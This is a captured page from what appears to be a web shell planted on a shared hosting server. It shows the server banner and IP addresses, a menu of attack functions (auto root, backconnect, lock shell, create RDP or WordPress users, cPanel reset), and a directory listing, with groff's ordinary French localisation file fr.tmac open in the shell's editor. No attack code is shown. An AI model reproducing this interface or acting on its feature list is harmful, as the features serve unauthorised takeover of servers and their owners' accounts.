Linux premium180.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 162.0.209.168 | : 216.73.216.187
Cant Read [ /etc/named.conf ]
8.3.30
nortrmdp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
groff /
1.22.3 /
tmac /
[ HOME SHELL ]
Name
Size
Permission
Action
mdoc
[ DIR ]
drwxr-xr-x
an-ext.tmac
3.46
KB
-rw-r--r--
an-old.tmac
13.97
KB
-rw-r--r--
an.tmac
53
B
-rw-r--r--
andoc.tmac
1.81
KB
-rw-r--r--
composite.tmac
555
B
-rw-r--r--
cp1047.tmac
2.15
KB
-rw-r--r--
cs.tmac
4.46
KB
-rw-r--r--
de.tmac
4.49
KB
-rw-r--r--
den.tmac
1016
B
-rw-r--r--
devtag.tmac
3.7
KB
-rw-r--r--
doc-old.tmac
35.46
KB
-rw-r--r--
doc.tmac
72.7
KB
-rw-r--r--
eqnrc
1.39
KB
-rw-r--r--
europs.tmac
1.65
KB
-rw-r--r--
fallbacks.tmac
1.38
KB
-rw-r--r--
fr.tmac
5.17
KB
-rw-r--r--
html-end.tmac
440
B
-rw-r--r--
html.tmac
16.04
KB
-rw-r--r--
hyphen.cs
20.73
KB
-rw-r--r--
hyphen.den
37.47
KB
-rw-r--r--
hyphen.det
36.43
KB
-rw-r--r--
hyphen.fr
27.35
KB
-rw-r--r--
hyphen.sv
33.77
KB
-rw-r--r--
hyphen.us
27.21
KB
-rw-r--r--
hyphenex.cs
291
B
-rw-r--r--
hyphenex.det
118.13
KB
-rw-r--r--
hyphenex.us
15.31
KB
-rw-r--r--
ja.tmac
1.66
KB
-rw-r--r--
latin1.tmac
2.22
KB
-rw-r--r--
latin2.tmac
2.31
KB
-rw-r--r--
latin5.tmac
2.23
KB
-rw-r--r--
latin9.tmac
2.22
KB
-rw-r--r--
man.tmac
58
B
-rw-r--r--
mandoc.tmac
61
B
-rw-r--r--
mdoc.tmac
57
B
-rw-r--r--
papersize.tmac
3.99
KB
-rw-r--r--
pic.tmac
139
B
-rw-r--r--
ps.tmac
20.09
KB
-rw-r--r--
psatk.tmac
1.08
KB
-rw-r--r--
psold.tmac
1.79
KB
-rw-r--r--
pspic.tmac
4.64
KB
-rw-r--r--
safer.tmac
218
B
-rw-r--r--
sv.tmac
4.04
KB
-rw-r--r--
trans.tmac
4.44
KB
-rw-r--r--
troffrc
1.38
KB
-rw-r--r--
troffrc-end
1.14
KB
-rw-r--r--
tty-char.tmac
5.08
KB
-rw-r--r--
tty.tmac
1.54
KB
-rw-r--r--
unicode.tmac
93
B
-rw-r--r--
www.tmac
39.81
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : fr.tmac
.\" -*- mode: nroff; coding: iso-latin-9; -*- .\" .\" French localization for groff .\" .\" Copyright (C) 2006, 2007, 2009 Free Software Foundation, Inc. .\" Written by Fabrice M�nard (menard.fabrice@wanadoo.fr) .\" .\" This file is part of groff. .\" .\" groff is free software; you can redistribute it and/or modify it under .\" the terms of the GNU General Public License as published by the Free .\" Software Foundation, either version 3 of the License, or .\" (at your option) any later version. .\" .\" groff is distributed in the hope that it will be useful, but WITHOUT ANY .\" WARRANTY; without even the implied warranty of MERCHANTABILITY or .\" FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License .\" for more details. .\" .\" You should have received a copy of the GNU General Public License .\" along with this program. If not, see <http://www.gnu.org/licenses/>. .\" .\" Please send comments to menard.fabrice@wanadoo.fr. . . .\" Locale string . .ds locale french\" . . .\" Predefined text translations . .ds \*[locale]-abstract R\[E ']SUM\[E ']\" .ds \*[locale]-app ANNEXE\" .ds \*[locale]-april Avril\" .ds \*[locale]-attribute_string par\" .ds \*[locale]-august Ao\[u ^]t\" .ds \*[locale]-chapter_string Chapitre\" .ds \*[locale]-december D\[e ']cembre\" .ds \*[locale]-draft_string Jet\" .ds \*[locale]-endnote_string NOTES\" .ds \*[locale]-february F\[e ']vrier\" .ds \*[locale]-finis_string FIN\" .ds \*[locale]-friday Vendredi\" .ds \*[locale]-january Janvier\" .ds \*[locale]-july Juillet\" .ds \*[locale]-june Juin\" .ds \*[locale]-le LISTE DES \[E ']QUATIONS\" .ds \*[locale]-letapp LU ET APPROUV\[E ']\" .ds \*[locale]-letat \[A `] L'ATTENTION DE:\" .ds \*[locale]-letcn CONFIDENTIEL\" .ds \*[locale]-letdate Date\" .ds \*[locale]-letfc Veuillez agr\[e ']er, Monsieur, mes salutations distingu\[e ']es.\" .ds \*[locale]-letns!0 Copie \[a `]\" .ds \*[locale]-letns!1 Exemplaire (avec destinataire) \[a `]\" .ds \*[locale]-letns!10 Exemplaire (avec destinataires) \[a `]\" .ds \*[locale]-letns!11 Exemplaire (sans destinataires) \[a `]\" .ds \*[locale]-letns!12 R\[e ']sum\[e '] \[a `]\" .ds \*[locale]-letns!13 Memorandum complet \[a `]\" .ds \*[locale]-letns!14 Cc:\" .ds \*[locale]-letns!2 Exemplaire (sans destinataire) \[a `]\" .ds \*[locale]-letns!3 Destinataire\" .ds \*[locale]-letns!4 Destinataires\" .ds \*[locale]-letns!5 Pi\[e `]ce jointe\" .ds \*[locale]-letns!6 Pi\[e `]ces jointes\" .ds \*[locale]-letns!7 Sous pli s\[e ']par\[e ']\" .ds \*[locale]-letns!8 Lettre \[a `]\" .ds \*[locale]-letns!9 Memorandum \[a `]\" .ds \*[locale]-letns!copy Copie \" (il faut un espace)\" .ds \*[locale]-letns!to " \[a `]\" .ds \*[locale]-letrn En r\[e ']f\[e ']rence \[a `]:\" .ds \*[locale]-letsa \[A `] la personne concern\[e ']e:\" .ds \*[locale]-letsj SUJET:\" .ds \*[locale]-lf LISTE DES ILLUSTRATIONS\" .ds \*[locale]-licon SOMMAIRE\" .ds \*[locale]-liec \[E ']quation\" .ds \*[locale]-liex Document\" .ds \*[locale]-lifg Illustration\" .ds \*[locale]-litb Tableau\" .ds \*[locale]-lt LISTE DES TABLEAUX\" .ds \*[locale]-lx LISTE DES DOCUMENTS\" .ds \*[locale]-march Mars\" .ds \*[locale]-may Mai\" .ds \*[locale]-monday Lundi\" .ds \*[locale]-november Novembre\" .ds \*[locale]-october Octobre\" .ds \*[locale]-paper A4\" .ds \*[locale]-qrf Cf. chapitre \\*[Qrfh], page \\*[Qrfp].\" .ds \*[locale]-references Bibliographie\" .ds \*[locale]-revision_string R\[e ']v.\" .ds \*[locale]-rp BIBLIOGRAPHIE\" .ds \*[locale]-saturday Samedi\" .ds \*[locale]-september Septembre\" .ds \*[locale]-sunday Dimanche\" .ds \*[locale]-thursday Jeudi\" .ds \*[locale]-toc Table des mati\[e `]res\" .ds \*[locale]-toc_header_string Table des mati\[e `]res\" .ds \*[locale]-tuesday Mardi\" .ds \*[locale]-wednesday Mercredi\" . . .\" Activate the translations . .mso trans.tmac . . .\" ms package .if r GS \{\ . \" update the date . ds DY \n[dy] \*[MO] \n[year] . \" set hyphenation flags . nr HY 12 .\} . . .\" mm package .if d PH \{\ . \" update the date with the new strings . ds cov*new-date \\n[dy] \\*[MO\\n[mo]] \\n[year] . . \" ISODATE and DT update . de ISODATE . nr cov*mm \\n[mo] . nr cov*dd \\n[dy] . af cov*mm 01 . af cov*dd 01 . ie '0'\\$1' \ . ds cov*new-date \\n[dy] \\*[MO\\n[mo]] \\n[year] . el \ . ds cov*new-date \\n[year]-\\n[cov*mm]-\\n[cov*dd] . . . . als DT cov*new-date .\} . . .\" me package .if d @R \{\ . \" date update . ds td \n(dy \*(mo \n(y4 . \" Redefinition for the chapter system . de $c . sz 12 . ft 3 . ce 1000 . if \\n(_M<3 \ . nr ch +1 . ie \\n(_M=1 CHAPITRE\ \ \\n(ch . el .if \\n(_M=2 ANNEXE\ \ \\n(ch . if \w"\\$1" .sp 3-\\n(.L . if \w"\\$1" \\$1 . if (\\n(_M<3):(\w"\\$1") \ . sp 4-\\n(.L . ce 0 . ft . sz . ie \\n(_M=1 \ . $C Chapitre \\n(ch "\\$1" . el .if \\n(_M=2 \ . $C Annexe \\n(ch "\\$1" .. .\} . . .\" Default encoding .mso latin9.tmac . . .\" French hyphenation .ss 12 0 .hy 12 .hcode � � � � .hcode � � � � .hcode � � � � .hcode � � � � .hcode � � � � .hcode � � � � .hcode � � � � .hcode � � � � .hcode � � � � .hcode � � � � .hcode � � � � .hcode � � � � .hcode � � � � .hcode � � � � .hcode � � � � . .hla fr .hpf hyphen.fr . . .\" man, mdoc and mdoc-old are intentionally left untouched: .\" usually these packages are translated in the sources of the documents. . .\" end of fr.tmac
Close